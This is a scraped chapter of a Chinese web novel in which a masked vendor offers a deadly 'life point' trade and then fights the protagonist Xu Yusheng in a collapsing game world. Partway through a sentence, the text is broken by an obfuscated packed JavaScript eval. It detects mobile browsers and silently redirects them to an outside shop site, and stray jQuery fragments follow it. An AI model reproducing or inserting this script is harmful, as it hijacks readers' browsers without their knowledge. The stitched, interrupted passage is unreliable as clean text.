文趣网 > 都市小说 > 赌徒Ⅰ蚀城之案 > 18. 第18章 陌路(其一)
    “小孩,要来串棉花糖吗?”

    声音轻然,像从另一个时空飘过来。闻响猛地扭头,绿皮三轮车不知何时已停在身旁。

    车斗里的机器嗡嗡转着,戴狐狸面具的男人依旧盘腿坐在假山石上,袖口在风里微微摆动,手里正绕着一支新做的棉花糖。

    街道在崩塌。

    【警告!警告!非常规干涉!核心区域遭到……滋……】

    远处学校的行政楼已塌了一半,黑色的触手从地面疯狂长出,不断涌向那个不断飞跃的人影,许羽生在烟尘与黑潮间时隐时现,幽蓝色的光偶尔炸开。

    可这条街却变得异常安静。

    崩塌声、嘶吼声、人群的尖叫声,所有声音都在靠近三轮车时被一层无形的膜过滤掉,只剩下棉花糖机单调的嗡鸣。

    “要。”闻响的眼中几乎失神,身体却不由自主地朝摊主靠近。他两只手撑在三轮车上,身体前倾,又重复了一遍:

    “要。”

    “多少精神点?”

    摊主轻轻一笑。

    “别着急嘛,把心思写在脸上的孩子就是招人喜欢。至于价格,要看你想买的是什么。如果只是买个棉花糖,两个点,童叟无欺……但我知道你想要什么。”

    他顿了顿,糖签在指尖灵活地转了个圈,将棉花糖递在闻响面前:

    “99%的生命点怎么样?”

    闻响盯着那张诡笑的狐狸面具:“什么意思?”

    “当然是等价交易了,很想救人吧?既然要救人,交易的筹码自然也……”

    “你故意的。”闻响打断。

    摊主歪了歪头,面具上的笑容在渐暗的天光中显得更加诡异。

    “等我们多久了?”闻响咬紧后牙,每一个字都从齿缝里挤出来。

    对面停顿一下:“你猜。”

    “从我们进入游戏,你就在了。”

    “很聪明嘛。”男人赞赏般地点头,“但只说对了一半,我不是在等你们,我是在等他。”

    他抬手指向学校的方向。

    许羽生再次避开一道直径超过两米的黑色触手的扑击。他在空中转身,手中不知何时又多了一截钢筋,狠狠刺入触手的表皮,黑色的黏液喷溅而出,在空中化作数据流般的碎屑。

    闻响冷笑了一声:“你到底来干什么的?”

    “卖棉花糖的啊。”

    “认识他吗?”闻响指向许羽生。

    “不认识。”

    “你嘴里没一句实话。”

    “哇,好可惜,被你发现了!”面具下发出清碎的笑声。

    “砰!”闻响一拳砸在三轮车上。

    狐狸面下的笑声变得更加恼人:“哎呀,有本事来打我呀,别打车子,很贵呢!”

    “咱们都和平交易,不要动手好不好!怎么样,考虑好了没,买不买呀?算了算了,不要你99%了,限时优惠!仅需98%的生命点即可将濒死的同伴满血带回家!”

    “你……”闻响气得浑身发颤。

    下一瞬,一个毫无征兆的阴影撕裂了空气。

    闻响和张富贵甚至没来得及仰头,手臂已本能地挡在面前。巨大的轰响与狂暴的气浪将两人狠狠向后推去,脚下的地面发出震颤。

    烟尘如幕布般腾起,碎石迸射。

    待视野稍清,只见一根扭曲的螺纹钢几乎垂直地贯入地面,将摊主原先盘坐的假山石击得粉碎。

    钢筋入地逾半,残露在外的部分仍在高频颤动。

    戴狐狸面具的男人在千钧一发之际消失于原地。他向旁跃起,空中几个利落的翻腾后稳步落地,衣摆上的流苏轻轻垂落,点尘不惊。

    烟尘渐散,一道身影由深至浅缓慢浮现。

    许羽生从中走出。

    堆积如山的黑色触段在他的身后矗立,恍若一座凭空隆起的楼阁,在这庞大阴影的衬托下,一切人类显得那般渺小。

    许羽生走上前,一把抽出那根螺纹钢,尘土簌簌落下,钢尖抬起,稳稳指向那张狐狸面具。

    “不是等我吗,来了。”

    张富贵结结实实地瘫在地上,闻响目瞪口呆地看着那个从崩塌与烟尘中走出的身影,感觉喉咙被东西哽住,那股砸向三轮车的愤恨和无力,此刻却像退潮般迅速消散。

    狐狸面慢条斯理地起身,他瞥了眼那座巍峨耸立的“黑山”,轻皱了下眉。

    攻击暂停了……

    难不成那家伙一个人把目前赶来的“教师”都杀尽了?

    那双藏在面具眼孔后的目光,饶有兴味地落在许羽生身上,从上到下,细细打量。

    许羽生身上的血口不少,但都不致命,脸上挂着血痕,身上的衬衫已被污渍浸染得看不出原来的颜色。

    “打招呼的方式这么特别。”摊主调侃道。

    “你比我特别,”许羽生道,“上来就要命。”

    “真伤人。”摊主夸张地捂住心口,“好歹我也等了你这么久,一点情分都没有吗?”

    “闭嘴。”许羽生向前踏了一步。

    “好好好。”摊主举起双手,做出投降的姿势,“生意人嘛,以和为贵,我只是想做个交易而已。刚刚那家伙差一点就答应了呢,都怪你突然……”

    “我说,闭嘴。”

    环境陷入短暂的沉寂,狐狸面冷不丁地笑了一声:

    “我凭什么听你的?你认识我吗?”摊主问道。

    “不认识。”许羽生回。

    “那就对了,我也不认识你呀!”狐狸面笑得更加起劲,“咱俩谁也不认识谁,结果你让我干什么就干什么,多冒昧啊……”刹那间,钢尖擦过狐狸面具的边缘,带起一溜火星,将那面具击得歪斜了几分,露出一截线条清晰肤色苍白的下颌。

    摊主向后滑出数米,抬手就要扶正面具,毫无血色的手腕又被许羽生抓住,两副面孔逼得极近。

    摊主的语气终于冷了下来:“你确定要现在跟我打?”

    “你自找的。”

    “我劝你消停会儿。”摊主道。

    “这句话也送给你。”

    许羽生从始至终没什么表情,眉眼静垂,嘴角平直。

    两人渐渐陷入一阵沉默的对峙,那截被许羽生扣住的手腕,在寂静中发出细微的“咯吱”声。

    面具之下,那人的嘴角似乎勾起:“松手。”

    “原来你知道疼。”许羽生道。

    “那看来你是不知道了?”

    许羽生静静地看着他,什么也没说,只是在五指上又加了半分的力。

    “咯啦——”

    这一次的声响清晰而干脆,韧带下的骨头错了位。

    “好。”摊主的声音微变。

    “技能,强化。”

    话音落下的瞬间,那截已然错位的手腕,竟以不可思议的角度猛然翻转,反扣向许羽生的麻筋。许羽生顿时松手后撤,可那狐狸面的动作竟快得诡异,一股酸麻锐痛骤然炸开,整条左臂的力量都为之一懈。许羽生立刻挥动钢筋,朝着摊主的头部砸去,对方矮身躲过,另一只手反劈上许羽生的后颈。许羽生眼神一凛,手中的螺纹钢再次撩起。

    狐狸面似乎没料到他的反击能如此狠厉,迅速偏头,钢尖擦着他脖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629564|206319||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    颈侧方掠过,带起一道血线。

    两人近身对抗,手臂交缠互相架住,力量在方寸间角抵,肌肉绷紧。

    僵持一瞬。

    狐狸面忽然抬脚,踢向许羽生小腿胫骨,许羽生几乎同时提膝,以膝撞膝,双方对撞,各自吃痛分开半步,架住的手臂也因此松开。

    狐狸面翻身后撤,微微喘息,那只错位的手腕已无力垂着,渐渐浮现出紫色的瘀斑。

    闻响和张富贵在远处看得心惊胆战,许羽生的脸色也似乎更白了一分。

    狐狸面抬手抹过脖颈的血痕,看了眼指尖的殷红,面具虽歪斜,却依然挂在他脸上,露出了线条优美的下颌和一抹兴致更浓的嘴角。

    “痛死了……”他轻声道。

    话音未落,身形竟再次消失。

    狐狸面毫无征兆地从许羽生的侧后方袭来,许羽生几乎全凭直觉旋身格挡,这一次,巨大的力道竟震得他手臂发麻。

    不等他调整,第二击、第三击接踵而至。对方的攻势一改刚才的试探,开始如同疾风骤雨般袭来,角度刁钻,变化无常。许羽生只能将螺纹钢舞得密不透风,不断格挡、闪避,手臂上的伤口崩裂得更开,鲜血顺着手腕流下。

    突然间,狐狸面一个假动作骗开许羽生的防御,自己如同厉鬼般滑近,左手并指如刀,直插许羽生的心口。许羽生看了眼,竟全然没有理会这道攻击,反而将全身残余的力量灌注于右臂,挑起螺纹钢捅向对方的腹部。

    狐狸面顿时一惊,对面这个疯子竟是两败俱伤的打法。

    千钧一发之际,那插向心口的攻击化刀为掌,重重拍在许羽生胸口,同时自己闪身规避。螺纹钢的尖端没能完全刺入,却也在他腰侧划开一道深长的口子。而拍在许羽生胸口那一掌,沉闷的响声中,许羽生喉头一甜,鲜血抑制不住地从嘴角溢出。

    狐狸面趁势突进,这次的招数故意引得许羽生将螺纹钢刺向空处,随后他伸手抓住钢筋的末端,猛地向侧面一扯,紧接着又是一记鞭腿。

    许羽生本就力竭,下盘被这股巧劲带动,一个踉跄。

    “哐当!”螺纹钢脱手飞出,砸落在远处的地面上。

    几乎在武器脱手的瞬间,狐狸面的另一只手扼上许羽生的咽喉,力道不大,却恰好截断了他的呼吸与发力,同时,膝盖抬起,重重顶上他的腹部。

    “咳——!”

    许羽生身体弓起,所有的气力仿佛都随着这一击被抽空。狐狸面扼着他的脖颈,借着前冲的势头,将他狠狠掼向地面。

    “轰!”地面龟裂出一个凹坑,许羽生后背着地,震得五脏六腑都仿佛移了位。

    “许哥!”

    闻响上前冲了一步,却在下一瞬被一支陡然射来的竹签逼退,竹签钉在他脚前,入地三分。

    “嘘,观众席请保持安静。”狐狸面头也不回道,注意力始终锁在许羽生身上。

    张富贵吓得捂住嘴,闻响攥紧了拳头,指甲几乎陷进肉里。

    摊主歪了歪头,看着地面上喘息的人,面具后传来一声意味不明的轻叹。

    “真是乱来。”

    他一只脚抬起踩上许羽生的胸口,居高临下地看着他:“早就劝你消停会。强弩之末,你的生命点和精神点已经快到极限,以这样的状态跟我打,硬撑什么。”

    许羽生抬起眼皮,眼里的光确实黯淡了许多,疲惫正如同冰冷的潮水,正从四肢百骸不断上涌,侵蚀着他的意志。

    狐狸面似乎很欣赏许羽生此刻的状态,他弯下腰,压低了声音:

    “现在,我们可以好好谈谈了吗,701?”